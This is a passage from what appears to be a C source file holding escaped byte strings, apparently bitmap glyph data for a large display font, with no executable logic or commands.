\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\7\"\n  \"\\0\\0\\0\\0|||||||\\374\\377\\377\\377\\377\\377\\377=<<<<<\\376\\377\\377\\377\\377\\377\\177|\"\n  \"||||\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\7\\0\\0\"\n  \"\\0\\0\\0\\0||||||\\376\\377\\377\\377\\377\\377~~~~~~\\376\\377\\377\\377\\377\\377\\77>>>\"\n  \">>>\\36\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\377\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\17\\17\\17\\17\\3\\0\\0\\0\\0\\0\\14\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\370\\370\\370\\370\\370\\370\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\376\\377\\77\\37\\37\\377\\377\\377\\377\\377\\377\\77\\77\\77\\177\\376\\376\\374\\374\\370\"\n  \"p \\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\370\\340\\300\\300\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\77\\377\\377\\377\\377\\377\\377\\376\\374\\374\\374\\370\\370\\360\\340\\340\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\200\\300\\300\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\1\\1\\3\\7\\377\\377\\377\\377\"\n  \"\\377\\377\\374\\0\\0\\14\\37\\77\\177\\177\\377\\376\\374\\374\\370\\370\\360\\377\\377\\377\\377\\377\\377\\360\\370\\370\\374\\377\\377\\177\\77\\37\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\3\\77\\77\\77\\77\\77\\77\\1\\1\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\"\n  \"\\300\\300\\300@\\374\\376\\377\\377\\377\\37\\37\\17\\17\\37\\77\\377\\377\\377\\376\\374\\360\\0\\0\\0\\300\\340\\370\\376\\377\\377\\377\\77\"\n  \"\\17\\3\\1\\0\\37\\77\\177\\377\\377\\376\\374\\370\\370\\374\\376\\377\\377\\177\\77\\237\\347\\360\\374\\377\\377\\377\\177\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\300\\360\\370\\376\\377\\377\\177\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\377\\77\\37\\7\\301\\360\\370\\374\\376\\376\\177\\77\\77\\77\\177\\376\"\n  \"\\376\\374\\370\\360\\0\\0\\300\\360\\374\\376\\377\\377\\177\\37\\17\\3\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\360\\340\\340\\340\\360\\377\"\n  \"\\377\\377\\377\\177\\6\\7\\7\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\17\\7\\7\\7\"\n  \"\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\370\\376\\376\\377\\377\\377\\77\\37\\37\\17\\17\\37\\37\\177\\377\\377\\377\\377\\376\\370\\360\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\17\\77\\377\\377\\377\\377\\377\\370\\340\\200\\0\\0\\200\\340\\370\\377\\377\\377\\377\\177\\77\\17\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\371\\373\\377\\377\\177\\77\\377\\377\\377\\377\\377\\377\\347\\203\\3\\1\\0\\0\\0\\0\\300\\300\"\n  \"\\300\\200\\0\\0\\374\\377\\377\\377\\377\\377\\37\\7\\1\\0\\0\\0\\0\\1\\3\\7\\37\\77\\177\\377\\377\\376\\374\\370\\340\\374\\377\\377\"\n  \"\\377\\177\\77\\17\\77\\177\\377\\377\\377\\377\\376\\370\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\375\\377\\377\\177\\77\\177\\377\\377\\377\"\n  \"\\371\\360\\340\\300\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\1\\7\\17\"\n  \"\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\360\\370\\374\\374\\374\\370\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\377\\177\\37\\17\\7\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\377\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\177\\377\\377\\377\\374\\370\\360\\340\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\37\\77\\77\\177\\77\"\n  \"\\16\\6\\0\\0\\0\\0\\0\\340\\374\\370\\370\\360\\360\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\17\\37\\77\\377\\377\\377\\376\\374\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\377\\377\\377\\377\\377\\377\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\377\\377\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\\376\\377\\377\\377\\177\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14~\\376\\177\\177\\77\\77\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\37\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\340\\300\\0\\0\\17\\17\\17\\17\\37\\37\\37\\37\\77\\77\\276\\376\\374\\377\\377\\377\\377\\377\\374\\376\\276>\\77\\37\\37\\37\\37\\17\"\n  \"\\17\\17\\17\\10\\0\\0\\0\\200\\300\\340\\360\\370\\376\\377\\377\\177\\77\\17\\7\\3\\7\\17\\77\\177\\377\\377\\376\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\7\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\17\\17\\7\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\277\\377\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60x|\\376\\177\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n  \"~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\37\\77\\77\\77\\77\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\370\\370\\360\"\n  \"\\360`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\377\\177\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\377\\77\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\14\\17\\37\\37\\77\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\377\\377\\377\\177\\77\\37\\37\\17\\17\\37\\37\\77\\377\\377\\376\\374\\370\\360\\300\\0\"\n  \"\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374\\377\\377\\77\\377\\377\\377\\377\"\n  \"\\370\\200\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\200\\340\\360\\374\\376\\177\\77\\37\\7\\3\\1\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\7\\177\\377\\377\\377\\377\\377\\374\\370\\376\\177\\77\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\"\n  \"\\377\\7\\0\\0\\0\\0\\3\\17\\37\\77\\377\\377\\377\\377\\376\\370\\360\\360\\340\\340\\340\\340\\360\\360\\374\\376\\377\\377\\177\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0p\\370\\370\\374\\374~~\\177\\177\\77\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0`\\360\\370\\374\\376\\377\\377\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\376\\374\\360\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\303\\377\\377\\377\\377\\377\"\n  \"\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370\\376\\377\\377\\177\\77\\37\\17\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\377\\377\\377\\357\\347\\343\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\360\\360\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\34>~\\377\\177\\77\\77\\37\\37\\17\\17\\17\\37\\37\\37\\77\\77\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\177\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0>>>>>>\\77\\177\\177\\377\\377\\377\\377\\377\\363\\341\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\207\\377\\377\\377\\377\\377\"\n  \"\\377\\370\\0\\0\\0\\0 x\\374\\376\\377\\377\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\377\\177\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  